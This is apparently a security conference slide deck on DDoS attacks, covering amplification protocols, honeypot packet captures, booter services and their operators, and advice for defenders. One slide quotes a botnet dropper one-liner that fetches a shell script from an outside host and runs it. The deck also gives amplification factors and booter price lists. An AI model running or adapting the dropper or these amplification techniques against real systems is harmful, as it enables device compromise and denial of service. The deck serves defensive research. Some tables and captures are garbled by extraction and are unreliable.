Investigating DDoS Architecture, Actors, and Attribution

<table>
<thead>
<tr>
<th>Allisson Nixon</th>
<th>Director of Security Research, Flashpoint</th>
</tr>
</thead>
<tbody>
<tr>
<td>Andre Correa</td>
<td>Co-founder, Malware Patrol</td>
</tr>
</tbody>
</table>
Agenda

- DDoS then
- DDoS now
- Tools for Research
- DDoS as a Service
- Questions
DDoS then
DDoS then

• DDoS stands for ‘distributed denial of service’. It is an attempt to make an Internet resource unavailable (web site, network, etc).

• Various techniques exist to generate abnormal amounts of traffic toward victims.
  • Application exploitation (Brobot)
  • Botnets – Windows (DirtJumper/Drive/Optima/Madness/Yoyo)
  • Amplifications and reflections (NTP Monlist, DNS, SSDP)
  • Stand-alone tools (LOIC, Slowloris, etc)
DDoS then
DDoS now
DDoS now – Attacks

• Techniques and tools
  • Amplification and reflection techniques (UDP)
  • Booters/Stressers
  • IoT and Linux based botnets

• Layer 4 and Layer 7 attacks
  • **HTTP floods** - GET, POST, HEAD, Joomla plugins, XML-RPC
  • **SYN floods** (most common offer)
  • **UDP floods** - DNS, CharGen, NTP, SSDP, SNMP, etc
DDoS now – Amplification Factors

<table>
<thead>
<tr>
<th>Protocol</th>
<th>Bandwidth Amplification Factor</th>
<th>Vulnerable Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>SNMPv2</td>
<td>6.3</td>
<td>GetBulk request</td>
</tr>
<tr>
<td>NetBIOS</td>
<td>3.8</td>
<td>Name resolution</td>
</tr>
<tr>
<td>SSDP</td>
<td>30.8</td>
<td>SEARCH request</td>
</tr>
<tr>
<td>CharGEN</td>
<td>358.8</td>
<td>Character generation request</td>
</tr>
</tbody>
</table>

https://www.us-cert.gov/ncas/alerts/TA14-017A
DDoS now – “Amplifier Lists” –

There are services specialized in selling lists of amplifiers for various port numbers / protocols:

http://_____.xyz/

“No dead AMP's in your list or local ip's mistakenly put there by faulty scanners our servers are running 24/7 at a relative slow speed compared to most to verify everything is correct & no faulty nonsense or honeypots”
DDoS now – Booters and Stressers

- Cheap! $5-$20 a month
- Multiple payment methods – PayPal, Google Wallet, Bitcoin
- Little or no technical expertise required from users
- Heavy emphasis on branding/rebranding
- Low TTLs (most services only last months)
- Targets of attacks themselves – front ends usually behind DDoS mitigation services
- Usage of APIs to communicate with attacking servers
DDoS now – IoT and Linux botnets

• Some botnets are created scanning hosts for default credentials or vulnerabilities. A bot is then automatically downloaded and executed

```
cd /tmp || cd /var/run; rm -rf *; busybox wget http://fw1.xxxxxxxxxx.su/f1/f1.sh || wget http://fw1.xxxxxxxxxx.su/f1/f1.sh; sh f1.sh; rm -rf f1.sh; busybox tftp -r .f1.sh -g aaa.bbb.ccc.ddd || tftp -r .f1.sh -g f1. xxxxxxxxxxx.su; sh .f1.sh; rm -rf .f1.sh
```

• Multiple bots are compiled for distinct platforms
Tools for Research
DDoS Honeypots

• Starting November 2014, multiple honeypot nodes deployed in distinct geographical locations
• The nodes mimic UDP services commonly abused to produce DDoS attacks: NTP, SSDP, CharGEN, DNS, etc.
• Honeypots only produce the data necessary to be detected by scanners. They rate limit responses in order to prevent participation in attacks.
• Data collected includes attack time stamps, source and destination IPs and ports, attack type. The intention is to collect as much information as possible about amplification and reflection attacks. Full packet captures are archived for historical purposes and uploaded to a Moloch instance for visualization and research
Data Aggregation

• More than 10,000,000 records collected so far in 2016
• “Moloch is an open source, large scale packet capturing (PCAP), indexing and database system. A simple web interface is provided for PCAP browsing, searching, and exporting. APIs are exposed that allow PCAP data and JSON-formatted session data to be downloaded directly. (...) Moloch is not meant to replace IDS engines but instead work along side them to store and index all the network traffic in standard PCAP format, providing fast access. Moloch is built to be deployed across many systems and can scale to handle multiple gigabits/sec of traffic.” (https://github.com/aol/moloch)
Top abused UDP protocols last month
34,617 unique IP addresses targeted
Although NTP has one of the highest amplification factors, it is not the top abused - most probably because many servers were patched lately

<table>
<thead>
<tr>
<th>Port (UDP)</th>
<th>Protocol</th>
<th>Amp. Factor</th>
</tr>
</thead>
<tbody>
<tr>
<td>#1</td>
<td>1900</td>
<td>SSDP</td>
</tr>
<tr>
<td>#2</td>
<td>123</td>
<td>NTP</td>
</tr>
<tr>
<td>#3</td>
<td>53</td>
<td>DNS</td>
</tr>
<tr>
<td>#4</td>
<td>19</td>
<td>CharGen</td>
</tr>
<tr>
<td>#5</td>
<td>161</td>
<td>SNMP</td>
</tr>
</tbody>
</table>
Research

- Spoofed SSDP (UDP/1900)
  - Last month: 3,115 unique targets
Research

• Spoofed SSDP (UDP/1900)

0:10:05.579243 IP XXX.YYY.ZZZ.WWW.1900 > AAA.BBB.CCC.DDD.80: UDP, length 311

HTTP/1.1 200 OK
Cache-Control: max-age=120

EXT:
Location: http://192.168.0.1:65535/rootDesc.xml
Server: Linux/2.4.22-1.2115.nptl UPnP/1.0 miniupnpd/1.0
ST: urn:schemas-upnp-org:device:WANConnectionDevice:
USN: uuid:2a8061e8-1dd2-11b2-b354-8851c5066677::urn:schemas-upnp-org:device:WANConnectionDevice:
Research

• Spoofed NTP (UDP/123)
  • Last month: 13,603 unique targets
### Network Time Protocol (NTP Version 2, private)

<table>
<thead>
<tr>
<th>Layer</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>User Datagram Protocol</td>
<td>Source Port: ntp (123), Dst Port: 36844 (36844)</td>
</tr>
<tr>
<td></td>
<td>Length: 448</td>
</tr>
<tr>
<td></td>
<td>Flags: Ox77</td>
</tr>
<tr>
<td></td>
<td>Auth, sequence: 6</td>
</tr>
<tr>
<td></td>
<td>Implementation: NTPD (3)</td>
</tr>
<tr>
<td></td>
<td>Request code: MON_GETLIST (42)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Time Protocol (NTP Version 2, private)</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Flags: Ox77</td>
<td>1. Response bit: Response (1)</td>
</tr>
<tr>
<td></td>
<td>.1. More bit: 1</td>
</tr>
<tr>
<td></td>
<td>.01 0.. Version number: NTP Version 2 (2)</td>
</tr>
<tr>
<td></td>
<td>.111 Mode: reserved for private use (7)</td>
</tr>
<tr>
<td>Auth, sequence: 6</td>
<td>0. Auth bit: 0</td>
</tr>
<tr>
<td></td>
<td>0.00 0110 = Sequence number: 6</td>
</tr>
</tbody>
</table>

### Packet Contents

<table>
<thead>
<tr>
<th>Ethernet Frame</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ethernet Frame</td>
<td>Ox80 Ox50 Ox02 Ox7b Ox8f Oxec 01 c0 fa 1d d7 06 03 2a</td>
</tr>
<tr>
<td></td>
<td>Ox00 Ox00 01 00 06 42 01 4a 01 4f 0a 00 00 08 00</td>
</tr>
<tr>
<td></td>
<td>Ox02 0f 00 00 00 06 0e 00 0d 00 0a 00 0e 00 00 00</td>
</tr>
<tr>
<td></td>
<td>Ox04 00 00 00 02 02 02 08 00 0a 09 00 00 00 00 00</td>
</tr>
<tr>
<td></td>
<td>Ox05 0f 02 0d 0c 0b 0a 09 ef 73 f6 00 00 00 00 00</td>
</tr>
<tr>
<td></td>
<td>Ox06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td></td>
<td>Ox07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td></td>
<td>Ox08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td></td>
<td>Ox09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td></td>
<td>Ox0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td></td>
<td>Ox0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td></td>
<td>Ox0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td></td>
<td>Ox0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td></td>
<td>Ox0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td></td>
<td>Ox0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
</tbody>
</table>

### Interpretation

- **Flags (Ox77):** 1. Response bit: Response (1)
- **Auth, sequence (6):** Auth bit: 0, Sequence number: 6
- **Implementation (3):** NTPD
- **Request code (42):** MON_GETLIST
Research

• Spoofed DNS (UDP/53)
  • Last month: 10,060 unique targets
DNS zones abused because of their large responses to ANY and TXT queries

The top abused domains are legitimate. Months ago, attackers registered names and created long records to achieve high amplification factors

<table>
<thead>
<tr>
<th>Zone</th>
<th>Response (bytes)</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>cpsc.gov</td>
<td>4095</td>
<td>Legitimate domain</td>
</tr>
<tr>
<td>svist21.cz</td>
<td>6800</td>
<td>Legitimate domain</td>
</tr>
<tr>
<td>irs.gov</td>
<td>3596</td>
<td>Legitimate domain</td>
</tr>
<tr>
<td>ietf.org</td>
<td>4313</td>
<td>Legitimate domain</td>
</tr>
<tr>
<td>gransy.com</td>
<td>5756</td>
<td>Legitimate domain</td>
</tr>
<tr>
<td>1x1.cz</td>
<td>5903</td>
<td>Legitimate domain</td>
</tr>
<tr>
<td>defcon.org</td>
<td>8684</td>
<td>Legitimate domain</td>
</tr>
</tbody>
</table>
DNS 1227 Standard query response 0x9cafe SOA auth00.ns.uu.net A 63.74.109.2 RRSIG RRSIG ...

Frame 7011: 1227 bytes on wire (8816 bits), 1227 bytes captured (8816 bits)

Internet Protocol Version 4, Src:
User Datagram Protocol, src port: domain (53), Dst Port: 51828 (51828)

Domain Name System (response)
Transaction ID: 0x9cafe
Flags: 0x8380 Standard query response, No error
Questions: 1
Answer RRs: 22
Authority RRs: 0
Additional RRs: 0

Queries
- cpsc.gov: type ANY, class IN
  - Name: cpsc.gov
    - Type: ANY (Request for all records)
    - Class: IN (0x0001)

Answers
- cpsc.gov: type SOA, class IN, mname auth00.ns.uu.net
- cpsc.gov: type A, class IN, addr 63.74.109.2
- cpsc.gov: type RRSIG, class IN
- cpsc.gov: type RRSIG, class IN
- cpsc.gov: type RRSIG, class IN
- cpsc.gov: type RRSIG, class IN
- cpsc.gov: type RRSIG, class IN
- cpsc.gov: type RRSIG, class IN
- cpsc.gov: type MX, class IN, preference 5, mx hormel.cpsc.gov
- cpsc.gov: type MX, class IN, preference 5, mx stagg.cpsc.gov
- cpsc.gov: type TXT, class IN
- cpsc.gov: type AAAA, class IN, addr 2600:803:240:2
- cpsc.gov: type DNSSKEY, class IN
- cpsc.gov: type DNSSKEY, class IN
- cpsc.gov: type DNSSKEY, class IN
- cpsc.gov: type DNSSKEY, class IN
- cpsc.gov: type NS, class IN, ns auth01.ns.uu.net
- cpsc.gov: type NS, class IN, ns auth03.ns.uu.net
- cpsc.gov: type NS, class IN, ns auth00.ns.uu.net

Frame (1227 bytes) Reassembled IPv4 (4103 bytes)
DNS 1227 Standard query response 0x9caf SOA auth00.ns.uu.net A 63.74.109.2 RRSIG RRSIG

Domain Name System (response)

Transaction ID: 0x9caf
Flags: 0x8380 Standard query response, No error
Questions: 22
Authority RR: 0
Additional RR: 0

Queries
- cpsc.gov: type ANY, class IN
  Name: cpsc.gov
  Type: ANY (Request for all records)
  Class: IN (0x0001)

Answers
- cpsc.gov: type SOA, class IN, mname auth00.ns.uu.net
- cpsc.gov: type A, class IN, addr 63.74.109.2
- cpsc.gov: type RRSIG, class IN
- cpsc.gov: type RRSIG, class IN
- cpsc.gov: type RRSIG, class IN
- cpsc.gov: type RRSIG, class IN
- cpsc.gov: type RRSIG, class IN
- cpsc.gov: type RRSIG, class IN
- cpsc.gov: type RRSIG, class IN
- cpsc.gov: type RRSIG, class IN
- cpsc.gov: type NX, class IN, preference 5, mx hormel.cpsc.gov
- cpsc.gov: type NX, class IN, preference 5, mx stag.g cpsc.gov
- cpsc.gov: type TXT, class IN
- cpsc.gov: type AAAA, class IN, addr 2600:803:240:2
- cpsc.gov: type DSNKEY, class IN
- cpsc.gov: type DSNKEY, class IN
- cpsc.gov: type DSNKEY, class IN
- cpsc.gov: type DSNKEY, class IN
- cpsc.gov: type NS, class IN, ns auth01.ns.uu.net
- cpsc.gov: type NSEC3PARAM, class IN
- cpsc.gov: type NS, class IN, ns auth00.ns.uu.net
Research

• Spoofed CharGen (UDP/19)
  • Last month: 6,128 unique targets
Frame 191: 964 bytes on wire (7712 bits), 964 bytes captured (7712 bits)

Linux cooked capture
- Packet type: Unicast to us (0)
- Link-layer address type: 1
- Link-layer address length: 6
- Source: [redacted]
- Protocol: IP (0x0800)

- Version: 4
- Header length: 20 bytes
- Differentiated Services Field: 0x00 (DS: 0x00: Default; ECN: 0x00: Not-ECN-Capable Transport)
- Total Length: 948
- Identification: 0x2d15 (11541)
- Flags: 0x00
- Fragment offset: 1480
- Time to live: 115
- Protocol: udp (17)
- Header checksum: 0xbba33 [correct]
- Source: [redacted]
- Destination: [redacted]
- [2 IPv4 Fragments (2408 bytes): #150(1480), #191(928)]

User Datagram Protocol, Src Port: chargen (19), Dst Port: 57407 (57407)
- Source port: chargen (19)
- Destination port: 57407
- Length: 2408
- Checksum: 0x835d [validation disabled]

Data (2400 bytes)
- Data: 20217232425262728292a2b2c2d2e2f3031323334353637...
- Length: 2400
Research

- Spoofed SNMP (UDP/161)
  - Last month: 943 unique targets

04:32:05.636615 IP (tos 0x0, ttl 59, id 20080, offset 0, flags [DF], proto UDP (17), length 113)

x.x.x.x.54991 > y.y.y.y.161: { SNMPv2c { GetRequest(70) R=925904563 .1.3.6.1.2.1.1.1.0 .1.3.6.1.2.1.1.3.0 .1.3.6.1.2.1.4.3.0 .1.3.6.1.2.1.4.10.0 } }
Research

• HTTP floods
  • GET
  • POST
  • HEAD
• It is a good strategy to target URLs that consume high amounts of resources (database queries, large downloads, etc)
HTTP 361 GET / HTTP/1.1

GET / HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0

X-Forwarded-For: 
X-Forwarded-Port: 8080
X-Forwarded-Proto: http
X-Forwarded-Server:
X-Real-IP:

[Full request URI: http://]
GET / HTTP/1.1

Host: 

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0

GET / HTTP/1.1

X-Forwarded-For: 

X-Forwarded-Host: 

X-Forwarded-Port: 8080

X-Forwarded-Proto: http

X-Forwarded-Server: 

X-Real-IP: 

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0

Full request URI: http://

0000 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 
0010 45 00 01 59 68 64 40 00 36 06 1d 30 05 87 ae 02 
0020 0a 80 00 02 ea a0 00 50 fc 86 9e 89 1d dc b7 01 
0030 80 18 0e 7a 36 06 00 01 01 08 0a 2e 44 ff 55 
0040 4d 80 8d 8d 47 43 51 20 2f 20 48 54 49 44 45 01 

Research

• UDP floods
  • Volumetric attack
<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source Port</th>
<th>Destination Port</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>124</td>
<td>3.582872</td>
<td>118.94</td>
<td>37326</td>
<td>HTTP</td>
<td>52468</td>
<td>BAD UDP LENGTH 52468 &gt; 1</td>
</tr>
<tr>
<td>125</td>
<td>3.582873</td>
<td>47.2</td>
<td>36852</td>
<td>HTTP</td>
<td>52536</td>
<td>BAD UDP LENGTH 52536 &gt; 1</td>
</tr>
<tr>
<td>126</td>
<td>3.582874</td>
<td>177.01</td>
<td>22313</td>
<td>HTTP</td>
<td>50302</td>
<td>BAD UDP LENGTH 50302 &gt; 1</td>
</tr>
<tr>
<td>127</td>
<td>3.582875</td>
<td>22.1</td>
<td>45703</td>
<td>HTTP</td>
<td>51411</td>
<td>BAD UDP LENGTH 51411 &gt; 1</td>
</tr>
<tr>
<td>128</td>
<td>3.582876</td>
<td>9.35</td>
<td>34265</td>
<td>HTTP</td>
<td>3675</td>
<td>BAD UDP LENGTH 3675 &gt; 1</td>
</tr>
<tr>
<td>129</td>
<td>3.582877</td>
<td>121.1</td>
<td>58383</td>
<td>HTTP</td>
<td>8008</td>
<td>BAD UDP LENGTH 8008 &gt; 1</td>
</tr>
<tr>
<td>130</td>
<td>3.582878</td>
<td>107.01</td>
<td>33547</td>
<td>HTTP</td>
<td>5663</td>
<td>BAD UDP LENGTH 5663 &gt; 1</td>
</tr>
<tr>
<td>131</td>
<td>3.582879</td>
<td>185.94</td>
<td>30973</td>
<td>HTTP</td>
<td>5776</td>
<td>BAD UDP LENGTH 5776 &gt; 1</td>
</tr>
<tr>
<td>132</td>
<td>3.582880</td>
<td>14.1</td>
<td>24794</td>
<td>HTTP</td>
<td>26848</td>
<td>BAD UDP LENGTH 26848 &gt; 1</td>
</tr>
<tr>
<td>133</td>
<td>3.582881</td>
<td>45.1</td>
<td>34386</td>
<td>HTTP</td>
<td>22380</td>
<td>BAD UDP LENGTH 22380 &gt; 1</td>
</tr>
<tr>
<td>134</td>
<td>3.582882</td>
<td>205.1</td>
<td>63806</td>
<td>HTTP</td>
<td>37619</td>
<td>BAD UDP LENGTH 37619 &gt; 1</td>
</tr>
<tr>
<td>135</td>
<td>3.582883</td>
<td>164.1</td>
<td>46344</td>
<td>HTTP</td>
<td>40550</td>
<td>BAD UDP LENGTH 40550 &gt; 1</td>
</tr>
<tr>
<td>136</td>
<td>3.582884</td>
<td>80.1</td>
<td>44298</td>
<td>HTTP</td>
<td>40741</td>
<td>BAD UDP LENGTH 40741 &gt; 1</td>
</tr>
<tr>
<td>137</td>
<td>3.582885</td>
<td>5.21</td>
<td>16681</td>
<td>HTTP</td>
<td>56185</td>
<td>BAD UDP LENGTH 56185 &gt; 1</td>
</tr>
<tr>
<td>138</td>
<td>3.582886</td>
<td>54.2</td>
<td>61259</td>
<td>HTTP</td>
<td>42385</td>
<td>BAD UDP LENGTH 42385 &gt; 1</td>
</tr>
<tr>
<td>139</td>
<td>3.582887</td>
<td>84.1</td>
<td>40004</td>
<td>HTTP</td>
<td>29613</td>
<td>BAD UDP LENGTH 29613 &gt; 1</td>
</tr>
<tr>
<td>140</td>
<td>3.582888</td>
<td>36.2</td>
<td>49287</td>
<td>HTTP</td>
<td>50874</td>
<td>BAD UDP LENGTH 50874 &gt; 1</td>
</tr>
<tr>
<td>141</td>
<td>3.582889</td>
<td>155.94</td>
<td>62030</td>
<td>HTTP</td>
<td>54434</td>
<td>BAD UDP LENGTH 54434 &gt; 1</td>
</tr>
<tr>
<td>142</td>
<td>3.582890</td>
<td>60.8</td>
<td>10912</td>
<td>HTTP</td>
<td>3431</td>
<td>BAD UDP LENGTH 3431 &gt; 1</td>
</tr>
<tr>
<td>143</td>
<td>3.582891</td>
<td>98.1</td>
<td>7433</td>
<td>HTTP</td>
<td>28263</td>
<td>BAD UDP LENGTH 28263 &gt; 1</td>
</tr>
<tr>
<td>144</td>
<td>3.582892</td>
<td>211.1</td>
<td>45080</td>
<td>HTTP</td>
<td>30350</td>
<td>BAD UDP LENGTH 30350 &gt; 1</td>
</tr>
<tr>
<td>145</td>
<td>3.582893</td>
<td>51.7</td>
<td>51464</td>
<td>HTTP</td>
<td>2417</td>
<td>BAD UDP LENGTH 2417 &gt; 1</td>
</tr>
<tr>
<td>146</td>
<td>3.582894</td>
<td>125.94</td>
<td>43482</td>
<td>HTTP</td>
<td>57494</td>
<td>BAD UDP LENGTH 57494 &gt; 1</td>
</tr>
<tr>
<td>147</td>
<td>3.582895</td>
<td>192.1</td>
<td>15012</td>
<td>HTTP</td>
<td>47155</td>
<td>BAD UDP LENGTH 47155 &gt; 1</td>
</tr>
<tr>
<td>148</td>
<td>3.582896</td>
<td>66.1</td>
<td>26103</td>
<td>HTTP</td>
<td>10142</td>
<td>BAD UDP LENGTH 10142 &gt; 1</td>
</tr>
<tr>
<td>149</td>
<td>3.582897</td>
<td>171.94</td>
<td>25036</td>
<td>HTTP</td>
<td>11581</td>
<td>BAD UDP LENGTH 11581 &gt; 1</td>
</tr>
<tr>
<td>150</td>
<td>3.582898</td>
<td>162.1</td>
<td>41632</td>
<td>HTTP</td>
<td>1285</td>
<td>BAD UDP LENGTH 1285 &gt; 1</td>
</tr>
<tr>
<td>151</td>
<td>3.582899</td>
<td>139.1</td>
<td>35457</td>
<td>HTTP</td>
<td>30714</td>
<td>BAD UDP LENGTH 30714 &gt; 1</td>
</tr>
<tr>
<td>152</td>
<td>3.582900</td>
<td>93.1</td>
<td>31399</td>
<td>HTTP</td>
<td>26576</td>
<td>BAD UDP LENGTH 26576 &gt; 1</td>
</tr>
<tr>
<td>153</td>
<td>3.582901</td>
<td>73.1</td>
<td>26032</td>
<td>HTTP</td>
<td>54190</td>
<td>BAD UDP LENGTH 54190 &gt; 1</td>
</tr>
<tr>
<td>154</td>
<td>3.582902</td>
<td>92.2</td>
<td>48376</td>
<td>HTTP</td>
<td>10422</td>
<td>BAD UDP LENGTH 10422 &gt; 1</td>
</tr>
<tr>
<td>155</td>
<td>3.582903</td>
<td>45.1</td>
<td>45288</td>
<td>HTTP</td>
<td>23425</td>
<td>BAD UDP LENGTH 23425 &gt; 1</td>
</tr>
<tr>
<td>156</td>
<td>3.582904</td>
<td>13.14</td>
<td>19405</td>
<td>HTTP</td>
<td>25180</td>
<td>BAD UDP LENGTH 25180 &gt; 1</td>
</tr>
</tbody>
</table>
DDoS as a Service
DDoS as a Service
DDoS as a Service

FEATURES

- 100% Uptime
- Dedicated Support Team
- Powerful VIP Network
- DDOS API Included

- Layer 4 & 7 Methods
- Instant Setup
- IP Geolocation
- Dynamic Boot Hub

We have too many features to list here, for a full list visit

ServerBoot.com!
DDoS as a Service

OUR PACKAGES

$10
BRONZE
600 Seconds
1 Month
PURCHASE

$15
SILVER
1200 Seconds
1 Month
PURCHASE

$30
GOLD
3600 Seconds
1 Month
PURCHASE

$50
PLATINUM
7200 Seconds
1 Month
PURCHASE
DDoS as a Service

WHAT WE CAN DOWN

Home Connections
Protected Servers
Websites
Game Servers

And much more!
DDoS as a Service
DDoS as a Service

Payments are currently being processed manually. Please allow 6-12 hours for a staff member to upgrade your account. If you have waited longer than 6-12 hours call the number (+1 803-479-3900) and you can talk to a customer representative and have your account upgraded immediately.

If you purchased with bitcoint from December 2 - December 20, you may not have received your package. The bug has been fixed, but please leave a ticket in the support center, or call in so we can upgrade your accounts ASAP.

Accounts are upgraded instantly while paying with Wallet & Bitcoin

Posted on 12-03-2014
DDoS as a Service

Server Stress Testing

Host/IP

Port: 80

Time

Attack Script: Chargen (UDP)

Launch Attack
Booter Operators

- North America/Western Europe/Israel
- 16-26 year old
- Hackforums users (Vendors!)
- Two to six admins per service
- Heavy users of social media

Nov 19
xr8edstresser.com/login.php
do you need a stresser? first 6 customers get it 2 dollars 2 days :D
VDoS Arrests

- Yarden Bidani and Itay Huri were arrested in Israel
- Accused of running the Vdos DDoS service
- This happened shortly after the Vdos database was publicly dumped and written about on KrebsOnSecurity
- Shortly afterwards, a number of booter operators on Hackforums voluntarily closed up shop
Leaked Booter Databases

- For a defender, these can be useful.
- When were your IPs attacked? By whom? What else did that user attack?
Mirai

- Mirai made big headlines recently due to large DDoS attacks
- Mirai was part of a commercial DDoS-for-hire scheme that involved selling spots on a botnet
- Source code was dumped publicly after Mirai made the headlines
- This commercial service was very different from booters
  - Used hacked machines instead of rented machines
Takeaways
Takeaways for Defenders

- Duration matters - shorter attacks are probably Booters
- Booters generally top out at 30 Gbps
- Packets can be useful – what service, what is the reflected domain, etc
  - Packets + sensor data can be VERY useful
    - You can tell if it’s spoofed or true source
    - You can determine the number of sources
    - Botnet or booter?
- Social media monitoring
- Enterprise DDoS mitigation works
<table>
<thead>
<tr>
<th>Allisson Nixon</th>
<th>Director of Security Research, Flashpoint</th>
</tr>
</thead>
<tbody>
<tr>
<td>Andre Correa</td>
<td>Co-founder, Malware Patrol</td>
</tr>
</tbody>
</table>